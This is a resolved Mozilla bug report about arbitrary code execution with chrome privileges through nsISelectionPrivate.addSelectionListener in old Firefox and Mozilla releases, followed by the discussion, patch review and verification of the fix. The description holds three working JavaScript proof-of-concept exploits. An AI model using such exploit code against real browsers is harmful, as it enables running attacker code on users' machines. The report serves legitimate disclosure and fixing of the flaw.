336830 - Arbitrary code execution using nsISelectionPrivate.addSelectionListener()

Status: RESOLVED FIXED

(Core :: Security, defect)

Description

[moz_bug_r_a4]

Content script can register a content-defined SelectionListener.  And when a
user uses the Find Toolbar or chooses "Select All" from the context menu,
listener.notifySelectionChanged() is called and its caller has chrome
privileges.

On fx1.5.0.3, fx1.0.8 and moz1.7.13, window.setTimeout can be used to run
arbitrary code with chrome privileges.

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var l = { notifySelectionChanged : setTimeout };
  sel.addSelectionListener(l);
  l.__proto__ = window;
  document.toString = function() { return "code"; };

On the trunk, fx2.0a1 and fx1.5.0.4, setTimeout belt-and-braces (Bug 330773
Comment #20) makes the above "code" be run with content privileges.  But,
location.href setter function can be used to run code with chrome privileges.
(On the trunk, further trick is needed).

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var h = frames[0].location.__lookupSetter__("href");
  var l = { notifySelectionChanged : h };
  sel.addSelectionListener(l);
  l.__proto__ = frames[0].location;
  document.toString = function() { return "javascript:code"; };

On the trunk, when caller is chrome, the arguments that are passed to
listener.notifySelectionChanged() are XPCNativeWrapper.  Thus, it's necessary
to override toString method on the XPCNativeWrapped document first.

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var h = frames[0].location.__lookupSetter__("href");
  var l = {};
  l.notifySelectionChanged = function(doc, sel, reason) {
    try { arguments.callee.caller; return; }
    catch (e) {}
    doc.toString = function() { return "javascript:code"; };
    this.notifySelectionChanged = h;
  };
  sel.addSelectionListener(l);
  l.__proto__ = frames[0].location;

Comment 1

[moz_bug_r_a4]

Attachment: testcase 1 - code execution using window.setTimeout

This works on fx1.5.0.3, fx1.0.8 and moz1.7.13.

Comment 2

[moz_bug_r_a4]

Attachment: testcase 2 - code execution using location.href setter

This works on fx2.0a1, fx1.5.0.4, fx1.5.0.3, fx1.0.8 and moz1.7.13.

Comment 3

[moz_bug_r_a4]

Attachment: testcase 3 - code execution using location.href setter

This works on trunk, fx2.0a1, fx1.5.0.4, fx1.5.0.3, fx1.0.8 and moz1.7.13.

Comment 4

[moz_bug_r_a4]

When a user left-clicks, selects text or presses Ctrl+A, the safe context that
comes from the hidden window is used to call listener.notifySelectionChanged().

On Windows and Linux, the hidden window's url is
resource://gre/res/hiddenWindow.html.  But, on Mac, it is
chrome://global/content/hiddenWindow.xul.   Does that mean the safe context's
global object has chrome privileges on Mac?  If so, is it possible to trigger
the code execution PoCs in this bug by left-clicking, selecting text or
pressing Ctrl+A?

Comment 5

[Boris Zbarsky [:bzbarsky]]

So... this method (and possibly the whole api) looks like it should just be noscript, imo.  The only script we have that uses it is the two copies of viewsource.js; we could add another API they can call (one that will check that the caller has UniversalXPConnect privileges or something).

Or would making an interface noscript be an API change?  In that case we should just change this method to do the UniversalXPConnect check and add a noscript method for all the C++ callers.

Comment 6

[Mike Shaver (:shaver emeritus)]

I don't like using [noscript] to carry security information like "not suitable for unprivileged script" -- an implementation of that interface could certainly behave appropriately in the face of an unprivileged caller.

So let's put the security checks in, but why would the C++ callers need to call something else?  They should have privs, and be able to express that (possibly with a helper to push the right principal?), I think.

Comment 7

[Boris Zbarsky [:bzbarsky]]

> They should have privs

Generally speaking, in the current state of our security architecture, any C++ call to any function that does a security check against the subject principal should assume that the subject can be anything from chrome to the null principal.

You're right that helpers to push the null principal might work here.  We could do this in that case; we'd need to modify almost all callsites for this API, create the helpers for pushing the null principal, make those accessible from a variety of modules, add a fair amount of codesize, etc.  I have yet to see a decent workable mockup of this even with codesize considerations excluded.

We'd also need to document the security restrictions in the API somehow, of course, but I suppose we could use comments.

If we can find someone to do all this, on trunk and all branches, I agree it would be better than my proposal...

Comment 8

[Boris Zbarsky [:bzbarsky]]

So... I can't reproduce with testcase 3 on trunk.  I get no alert, no security errors, nothing.

I'll post a patch that should fix this and even make shaver somewhat happy.  ;)  But I can't really test it well, since I can't reproduce the bug.

Comment 9

[Boris Zbarsky [:bzbarsky]]

Attachment: Proposed fix

Comment 10

[Boris Zbarsky [:bzbarsky]]

Attachment: Patch for real...

Comment 11

[Mike Shaver (:shaver emeritus)]

Comment on attachment 221220 [details] [diff] [review]
Patch for real...

sr=shaver.  I like!

Comment 12

[Daniel Veditz [:dveditz]]

Comment on attachment 221220 [details] [diff] [review]
Patch for real...

>+pref("capability.policy.default.Selection.addSelectionListener", "UniversalXPConnect");
>+pref("capability.policy.default.Selection.removeSelectionListener", "UniversalXPConnect");

Is there a reason you didn't use "noAccess" like everywhere else? UniversalXPConnect already has a magic pass:
http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/caps/src/nsScriptSecurityManager.cpp&rev=1.299&mark=2893-2896#2890

I suppose doing it this way could let you check in with an obfuscated comment like "allow signed script access" and make it look like we're expanding permission, not restricting it.

r=dveditz either way though. Maybe "noAccess" on the trunk later on.

Comment 13

[Tim Riley [:timr]]

Comment on attachment 221220 [details] [diff] [review]
Patch for real...

The Release Team discussed this.  It is a hi risk  security issue that is also a red flag when it lands on the trunk or 1.8.1.  We need to fix this in 1.5.0.4 now.  a=timr for drivers

Comment 14

[Boris Zbarsky [:bzbarsky]]

Fixed on 1.8.0 branch.  Waiting for tree opening on the other branches.

Comment 15

[Mike Schroepfer]

Bz - you can/should land for 1.8

Comment 16

[Boris Zbarsky [:bzbarsky]]

Fixed on 1.8 branch too...

Comment 17

[Tracy Walker [:tracy]]

verified with 1.5.0.4rc2 on Windows. all three testcases look good.

Comment 18

[juan becerra [:juanb]]

I tried the three test cases on Intel Mac 1.5.0.4rc2; no problems found.

Comment 19

[Boris Zbarsky [:bzbarsky]]

Fixed on trunk.

Comment 20

[Alexander Sack]

Attachment: 1.0.x version - ready for checkin